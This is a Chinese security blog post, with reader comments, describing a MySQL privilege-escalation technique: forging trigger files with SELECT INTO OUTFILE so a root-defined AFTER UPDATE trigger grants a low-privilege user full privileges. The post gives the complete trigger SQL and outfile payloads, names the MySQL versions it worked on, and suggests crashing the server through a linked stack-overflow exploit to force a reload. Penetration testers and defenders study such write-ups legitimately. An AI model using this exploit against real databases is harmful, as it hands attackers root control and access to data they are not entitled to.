Mysql Trigger

darksn0w 2014-10-31 10:22:00

0x00 什么是触发器


触发器(trigger)是数据库提供给程序员和数据分析员来保证数据完整性的一种方法,它是与表事件相关的特殊的储存过程,它的执行不是由程序调用,也不是手工启动,而是由事件来触发,当对一个表进行操作(insert,delete,update)时就会激活它执行。触发器经常用于加强数据的完整性约束和业务规则等。

0x01 问题描述

a)通过Mysql触发器提权仅仅能获取一个Mysql

Root权限的Mysql账号,并不是系统提权(系统提权取决于包括mysql是不是以root方式运行的等等很多因素)。

b)渗透过程中所能利用的触发器提权中,需要提权的账号需要有"File"权限,或者是有能力向mysql的目录下写入文件。

c)Mysql的触发器有6种类型分别是After insert,After delete,After update和Before

insert,Before delete,Before update。

在以下版本测试成功:

a) CentOS 5.5 && Mysql-5.0.51a

b) Win2003 x86 && Mysql-5.5.24

0x02 工作原理


a) 因为MySQL的触发器以明文文本的形式保存最对应库的目录下面,形式为触发器文件_.TRG和触发器描述文件_.TRN,可以通过select into outfile方式写入(所以需要"File"权限)。

b) Mysql在定义触发器的时候有一个定义触发器执行角色的字段DEFINER,默认的此字段与建立触发器的角色相同(即与'CREATE DEFINER'字段相同)。如果我们可以上传一个执行角色为root的触发器,那么就能以root权限执行触发语句。

c) 根据触发器的原理,我们本地新建一个触发器,然后修改相关配置,如触发角色,触发条件,触发后执行语句等等,制作exp实现提权。

0x03 实验环境


Win2003x86 && Mysql-5.5.24,默认安装Mysql,导入一个xxxCMS的数据库"cms",并为此数据库建立一个普通权限的用户"test" Test 账号添加方式:

grant all privileges on cms.* to test@localhost identified by '1234';

root执行show databases;的结果:

root执行select User,Host from mysql.user;的结果:

test执行show databases;

test执行use cms;并查询此数据库上存在的触发器show triggers;

0x04 实验过程


a)本地生成触发器文件: 1.首先在本地的Mysql上建立正常的触发器,建立过程:

mysql> delimiter //   
            /** 此处定义操作块,在操作块结束前即使遇到;也不去执行,直到遇到结束符(//) **/
mysql> create trigger rootme after update on cms_users for each row 
            /** 建立一个作用于表cms_users的、类型为After update的、名为rootme的触发器for each row意思是每触发一次,就执行一次执行语句 **/
mysql> begin update mysql.user set Select_priv='Y',Insert_priv='Y',Update_priv='Y',Delete_priv='Y',Create_priv='Y',Drop_priv='Y',Reload_priv='Y',Shutdown_priv='Y',Process_priv='Y',File_priv='Y',Grant_priv='Y',References_priv='Y',Index_priv='Y',Alter_priv='Y',Show_db_priv='Y',Super_priv='Y',Create_tmp_table_priv='Y',Lock_tables_priv='Y',Execute_priv='Y',Repl_slave_priv='Y',Repl_client_priv='Y',Create_view_priv='Y',Show_view_priv='Y',Create_routine_priv='Y',Alter_routine_priv='Y',Create_user_priv='Y',Event_priv='Y',Trigger_priv='Y',Create_tablespace_priv='Y',ssl_type='Y',ssl_cipher='Y',x509_issuer='Y',x509_subject='Y',max_questions='Y',max_updates='Y',max_connections='Y' where User='test';
            /** 默认格式begin为开头加上触发后执行的语句,此处语句为执行修改mysql.user表中test用户的权限的操作 **/
mysql> end;    /** 触发器定义结束标志 **/
mysql> //      /** 操作块结束标志,闭合开头定义的操作块 **/

以上sql语句执行完毕就会在数据库cms的目录下生成两个文件:rootme.TRN 和 cms_users.TRG。

打开文件,发现DEFINER字段为:test@localhost

我们将其改为root@localhost,使此触发器触发后执行角色为root。 将这两个文件作为后面的提权Exp保留下来。

b)使用test用户登陆Mysql,并查询此数据库上存在的触发器:

经过查询触发器为空,我们把前面我们本地生成好的触发器文件上传到对应的数据库目录下,即cms目录下:

/** 上传可以使用select * into outfile方式或者其他方式 **/
/**   TRG文件   **/
/**   SELECT 'TYPE=TRIGGERS' into outfile'C:wampbinmysqlmysql5.5.24datacmsrootme.TRG' LINES TERMINATED BY 'ntriggers='CREATE DEFINER=`root`@`localhost` trigger rootme after update on cms_users for each rownbegin nUPDATE mysql.user SET Select_priv='Y', Insert_priv='Y', Update_priv='Y', Delete_priv='Y', Create_priv='Y', Drop_priv='Y', Reload_priv='Y', Shutdown_priv='Y', Process_priv='Y', File_priv='Y', Grant_priv='Y', References_priv='Y', Index_priv='Y', Alter_priv='Y', Show_db_priv='Y', Super_priv='Y', Create_tmp_table_priv='Y', Lock_tables_priv='Y', Execute_priv='Y', Repl_slave_priv='Y', Repl_client_priv='Y', Create_view_priv='Y', Show_view_priv='Y', Create_routine_priv='Y', Alter_routine_priv='Y', Create_user_priv='Y', ssl_type='Y', ssl_cipher='Y', x509_issuer='Y', x509_subject='Y',max_questions='Y', max_updates='Y', max_connections='Y' WHERE User='test';nend'nsql_modes=0ndefiners='root@localhost'nclient_cs_names='gbk'nconnection_cl_names='gbk_chinese_ci'ndb_cl_names='utf8_general_ci'n';    **/
/**   TRN文件   **/
/**   SELECT 'TYPE=TRIGGERNAMEntrigger_table=rootme;' into outfile 'C:wampbinmysqlmysql5.5.24datacmscms_users.TNG';   **/

再次查询Triggers:

发现触发器已经写入,前面我们写的触发类型是after update,作用于表cms_users,所以我们这里我们update cms_users这个表来触发。 触发之前mysql.user表:

update cms_users这个表触发执行:

触发之后mysql.user表:

至此,"test"用户所拥有的权限跟"root"用户拥有的权限一致。

文中部分位置"有可能"出现"不识别"的情况,比如上传文件后仍然查询不到触发器,比如触发了触发器修改了test的权限后发现并未生效。此时需要重启数据库重新加载配置,至于重启数据库的方式嘛,可以借鉴社工思路。Mysql5.0版本之前的可以利用之前爆出来的栈溢出漏洞造成MySQL Crash重启,达到重新加载配置文件的目的。

这个栈溢出的原理是使用一个没有grant权限的用户做一个虚假的grant操作,而这个操作是对一个根本不存在但很长(如下攻击实例是10000字符长度的库名,实际达到284个时就会触发)库进行赋权。 http://www.exploit-db.com/exploits/23076/

文中提到的两个文件

评论

R

redrain有节操 2014-10-31 22:14:56

膜拜大牛

P

pangshenjie 2014-10-31 22:30:02

膜拜大牛

肉肉 2014-10-31 22:42:38

膜拜大牛

T

tmp 2014-10-31 23:45:09

windows mysql好传.
但是
CentOS 5.5 && Mysql-5.0.51a
我只能说呵呵

D

darksn0w 2014-10-31 23:57:44

对的,略微鸡肋,但是这个地方我觉得边界确实有问题

W

wangqi 2014-11-02 18:59:41

膜拜大牛

T

tmp 2014-11-02 19:58:59

我只是根据个人对linux权限分配的认知来说的..当然如果你有新的发现或者有啥奇技淫巧可以达到目的.那么我也会毫不犹豫点赞

D

darksn0w

无折腾,不生活!

twitter weibo github wechat

随机分类

渗透测试 文章:154 篇
密码学 文章:13 篇
安全管理 文章:7 篇
CTF 文章:62 篇
PHP安全 文章:45 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录